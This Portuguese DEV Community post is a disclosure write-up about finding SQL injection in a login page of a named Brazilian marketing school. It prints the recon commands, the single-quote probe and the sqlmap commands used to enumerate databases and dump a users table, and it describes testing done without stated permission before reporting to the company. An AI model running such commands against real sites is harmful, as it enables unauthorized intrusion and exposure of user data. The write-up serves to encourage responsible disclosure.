DEV Community

Bolha Sec
Bolha Sec

Posted on

4

De um tweet a SQL Injection

Em uma discussão no Twitter sobre “dificuldades na programação”, recebi a indicação do amigo twitteiro @lincolixavier sobre a escola de Marketing Digital https://onovomercado.com.br/. (tweet)

tweet motivador
Por pura curiosidade, resolvi dar uma olhada na segurança do serviço. Vai que…

Obs: Normalmente, testes de segurança tem 3 fases: reconhecimento (recon), exploração (exploit), e report. Vou tentar seguir essa estrutura também aqui nesse post.

Recon

Fiz o meu reconhecimento básico com as ferramentas Amass, HTTPX e Nuclei. Que é algo como:

amass enum -d onovomercado.com -o amass.txt
cat amass.txt | httpx --silent > httpx.txt
nuclei -l httpx.txt -eid http-missing-security-headers
Enter fullscreen mode Exit fullscreen mode

Após fuçar um pouco, cheguei nesse domínio aqui https://certificacao.onovomercado.com/ que só mostrava um 403 Forbidden.

print de certificacao.onovomercado.com

Sem mt pretensão, pesquisei no Google com o dork site:certificacao.onovomercado.com e pra minha surpresa tive alguns resultados.

Google dorking result
O resultado com o título "Login - Prova de Certificação da Formação” logo chamou minha atençao 👀

Ele tem essa carinha aqui.

Login - Prova de Certificação da Formação

Exploit

Por pura inocência, chequei se os campos eram vulneráveis a SQL Injection da forma mais simples possível. Abir o Burp Suite e repeti a requisição de login adicionando aspas no final do valor 🤣

email@email.com'
Enter fullscreen mode Exit fullscreen mode

E XABLAU

response to the attack

A partir daí, foi só felicidade

Abri o SQLMap e rodei

sqlmap -r request.txt (que confirmou o SQLInjection)

sqlmap -r request.txt --dbs (pra enumerar os databases)

sqlmap -r request.txt --dbs --tables (pra enumerar as tabelas)

sqlmap -r request.txt -D <NOME TABELA> -T usuarios --dump (pra ver o conteúdo da tabela 🌚)

O que levou basicamente ao conteúdo desse tweet

https://twitter.com/sushicomabacate/status/1678770510610718721?s=20

Report

No dia seguinte 11/07, enviei um email para o suporte avisando sobre os meus achados

report 1

E pra minha surpresa, algumas horas depois fui respondido por uma pessoa da equipe ténica que se mostrou super solícita para resolver a vulnerabilidade.

report 2

Depois disso, passei mais detalhes técnicos pra pessoa que me respondeu reconhecendo a gravidade da vulnerabilidade e informando que seria feito o fix o mais rápido possível.

Hoje, 16/07, recebi um email da pessoa informando que haviam aplicado o fix e agradecendo pelo report ❤️.

Deixo aqui os parabéns ao time de engenharia do @onovomercado pela rapidez e seriedade que tiveram com o tratamento da vulnerabilidade.

Conclusão

Dessa vez a conclusão da vulnerabilidade foi bem mais agradável do que da última vez https://dev.to/bolhasec/de-um-email-de-newsletter-a-um-account-takeover-il5.
No entanto, reforço que infelizmente esse caso é uma exceção. A resposta mais comum para casos assim é apenas o silêncio e o vácuo nos emails 😆.

Espero que esse report incentive as pessoas a fazerem mais responsible disclosures de vulnerabilidades e dê um panorama de como funciona +/-. Foi uma investigação divertida pra mim e a comunicação com time de engenharia do alvo foi super legal.

Update 17/07/23: pessoal d'O Novo Mercado mandou um email oferecendo como agradecimento e gesto de boa fé um box de livros, que evidentemente aceitei❤️

AWS Security LIVE!

Tune in for AWS Security LIVE!

Join AWS Security LIVE! for expert insights and actionable tips to protect your organization and keep security teams prepared.

Learn More

Top comments (0)

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs